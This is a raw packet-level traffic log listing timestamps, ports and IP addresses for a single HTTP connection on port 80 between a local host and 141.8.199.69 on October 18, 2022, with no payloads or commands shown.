Oct 18, 2022 13:28:12.479341984 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479342937 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479371071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479376078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479397058 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479403019 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479418993 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479424953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479453087 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479453087 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479480028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479481936 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479506969 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479509115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479538918 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479540110 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479558945 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479567051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479589939 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479594946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479618073 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479624033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479644060 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479652882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479682922 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479687929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479712963 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479718924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479744911 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479751110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479770899 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479778051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479804993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479804993 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479827881 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479830980 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479856968 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479856968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479883909 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479891062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479912996 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479918003 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479937077 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479939938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479970932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479979038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479998112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.480000019 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.480019093 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.480026960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.480046988 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.480053902 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.480077982 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.480081081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.480123043 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.480123043 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540515900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540643930 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540673018 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540685892 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540703058 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540723085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540726900 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540749073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540766001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540780067 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540791988 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540810108 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540816069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540843010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540846109 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540863991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540868998 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540894985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540914059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540914059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540923119 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540947914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540951967 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540972948 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.540993929 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.540998936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541026115 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541030884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541045904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541057110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541074038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541085958 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541105032 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541114092 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541131020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541141987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541157007 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541169882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541188002 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541198015 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541214943 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541225910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541239977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541253090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541269064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541280031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541299105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541307926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541331053 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541336060 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541347980 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541362047 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541377068 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541388988 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541404009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541415930 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541443110 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541443110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541460991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541467905 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541485071 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541491985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541510105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541517973 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541537046 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541580915 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541601896 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541606903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541623116 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541650057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541697979 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541748047 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541757107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541788101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541805029 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541814089 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541831017 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541841984 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541856050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541866064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541887999 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541891098 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541908979 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541915894 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541933060 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541938066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541956902 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.541970015 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.541987896 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.542016983 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.602629900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.602714062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.602750063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.602783918 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.602802038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.602812052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.602839947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.602840900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.602859020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.602868080 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.602891922 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.602926970 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.602927923 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.602956057 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.602982998 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.602984905 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603005886 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603010893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603028059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603039980 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603055954 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603070021 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603095055 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603097916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603127956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603152037 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603157997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603184938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603197098 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603224993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603228092 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603245020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603252888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603281021 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603291988 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603308916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603317976 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603336096 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603363037 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603374004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603390932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603394032 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603419065 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603429079 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603446007 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603457928 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603476048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603486061 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603504896 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603508949 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603533983 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603554010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603555918 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603584051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603615999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603625059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603645086 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603662014 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603674889 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603684902 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603710890 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603722095 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603735924 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603769064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603832960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603863001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603889942 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603893042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603912115 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603935003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603936911 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603961945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.603976011 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.603992939 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.604003906 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.604021072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.604037046 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.604053020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.604068041 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.604080915 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.604108095 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.604140043 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.604146957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.604173899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.604201078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.604201078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.604208946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.604249001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.604269981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.664889097 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.664963961 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665003061 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665025949 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665039062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665074110 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665086985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665139914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665150881 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665210009 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665216923 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665271997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665287018 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665330887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665329933 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665385962 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665388107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665486097 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665488005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665545940 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665548086 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665605068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665656090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665669918 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665704966 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665713072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665760994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665787935 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665817976 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665832043 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665872097 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665874004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665925026 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.665930033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.665986061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666034937 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666044950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666095018 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666105986 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666152954 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666162968 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666213036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666219950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666279078 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666318893 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666337967 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666347027 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666393042 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666434050 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666448116 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666477919 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666491032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666539907 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666547060 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666594982 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666598082 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666650057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666656017 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666702986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666712999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666755915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666769028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666811943 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666824102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666868925 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.666918993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.666976929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667031050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667035103 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667093039 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667112112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667172909 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667177916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667229891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667242050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667289019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667331934 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667349100 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667361021 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667406082 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667463064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667464972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667514086 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667521954 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667567015 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667577982 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667625904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667638063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667681932 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.667694092 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.667742968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.728311062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.728379965 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.728425026 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.728477001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.728487015 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.728487015 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.728545904 CEST	80	49701	141.8.199.69	192.168.2.7
